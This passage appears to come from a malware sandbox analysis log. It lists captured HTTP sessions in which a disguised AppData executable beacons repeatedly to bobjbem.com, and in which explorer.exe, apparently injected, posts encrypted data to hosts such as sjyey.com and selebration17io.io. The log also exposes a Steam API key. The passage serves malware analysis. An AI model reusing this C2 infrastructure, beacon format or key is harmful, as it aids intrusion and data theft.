245	192.168.2.4	50044	142.132.202.219	2023	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:41.488068104 CET	316	IN	GET /IPlayerService/GetSteamLevel/v1/?key=51DA979B9FB5A21B42737CF7DFF0E4D4&steamid=76561198020534850 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 host: api.steampowered.com accept-encoding: gzip, deflate Connection: close
Feb 5, 2024 11:00:41.677625895 CET	347	OUT	HTTP/1.1 200 OK Server: nginx Content-Type: application/json; charset=UTF-8 X-eresult: 1 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 52 Cache-Control: private, max-age=860 Expires: Mon, 05 Feb 2024 10:15:01 GMT Date: Mon, 05 Feb 2024 10:00:41 GMT Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 00 ab 56 2a 4a 2d 2e c8 cf 2b 4e 55 b2 aa 56 2a c8 49 ac 4c 2d 8a cf 49 2d 4b cd 51 b2 32 34 ae ad 05 00 c2 72 c6 f4 20 00 00 00 Data Ascii: VJ-.+NUVIL-I-KQ24r

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.4	50043	23.4.32.216	80

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:41.488256931 CET	316	OUT	GET /IPlayerService/GetSteamLevel/v1/?key=51DA979B9FB5A21B42737CF7DFF0E4D4&steamid=76561198020534850 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 host: api.steampowered.com accept-encoding: gzip, deflate Connection: close
Feb 5, 2024 11:00:41.677428007 CET	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/json; charset=UTF-8 X-eresult: 1 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 52 Cache-Control: private, max-age=860 Expires: Mon, 05 Feb 2024 10:15:01 GMT Date: Mon, 05 Feb 2024 10:00:41 GMT Connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 00 ab 56 2a 4a 2d 2e c8 cf 2b 4e 55 b2 aa 56 2a c8 49 ac 4c 2d 8a cf 49 2d 4b cd 51 b2 32 34 ae ad 05 00 c2 72 c6 f4 20 00 00 00 Data Ascii: VJ-.+NUVIL-I-KQ24r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50054	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:42.061671019 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:42.305680990 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50056	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:42.657630920 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://chdkricrlhf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 121 Host: sjyey.com
Feb 5, 2024 11:00:42.657706976 CET	121	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 30 00 ab ee Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vu0w,UT`(4\|-+kff8*
Feb 5, 2024 11:00:43.222451925 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50055	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:42.669476032 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:42.907210112 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50058	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:43.314007044 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:43.557837963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50059	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:44.014949083 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:44.259027958 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50060	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:44.598905087 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:44.837377071 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50061	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:45.181293011 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:45.425275087 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50062	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:45.307285070 CET	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://msnvlyecbbyowece.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 170 Host: selebration17io.io
Feb 5, 2024 11:00:45.307337999 CET	170	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 82 b3 4e c7 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bONCJA~iOw.wb,E>pW'kL`)A"o-
Feb 5, 2024 11:00:45.564841032 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50064	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:45.794837952 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:46.033400059 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50066	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:46.389719963 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:46.632040977 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50065	142.132.202.219	2023	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:46.732568979 CET	60	IN	GET /index.php HTTP/1.1 Host: 185.141.63.9 Accept: /
Feb 5, 2024 11:00:46.960341930 CET	193	OUT	HTTP/1.1 200 OK Server: nginx/1.25.3 Date: Mon, 05 Feb 2024 10:00:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 64 0d 0a 38 31 2e 31 38 31 2e 35 37 2e 37 34 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: d81.181.57.740

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50063	185.141.63.9	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:46.733424902 CET	60	OUT	GET /index.php HTTP/1.1 Host: 185.141.63.9 Accept: /
Feb 5, 2024 11:00:46.960177898 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.25.3 Date: Mon, 05 Feb 2024 10:00:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 64 0d 0a 38 31 2e 31 38 31 2e 35 37 2e 37 34 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: d81.181.57.740

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50067	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:46.978635073 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:47.225066900 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50068	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:47.590167046 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:47.830914021 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50069	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:48.184088945 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:48.429791927 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50070	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:48.844862938 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:49.082694054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50071	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:49.471210003 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:49.718332052 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50072	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:50.064785957 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:50.308590889 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50073	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:50.677395105 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:50.915698051 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	50074	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:51.273937941 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:51.517110109 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50075	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:51.867713928 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:52.105987072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50077	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:52.466475010 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:52.714040041 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50076	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:52.482783079 CET	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gerecfowolcnxtwh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 303 Host: selebration17io.io
Feb 5, 2024 11:00:52.482810020 CET	303	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 a4 ab 5f c6 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO_tiOzrd~A5QKlaA'nQAMLg5SF]b!^z"%IeFf"B/=2:)wS]1%GBCjXBlNc
Feb 5, 2024 11:00:52.739963055 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50078	187.211.34.223	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:52.965603113 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tdghspgwpfxwlen.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: sjyey.com
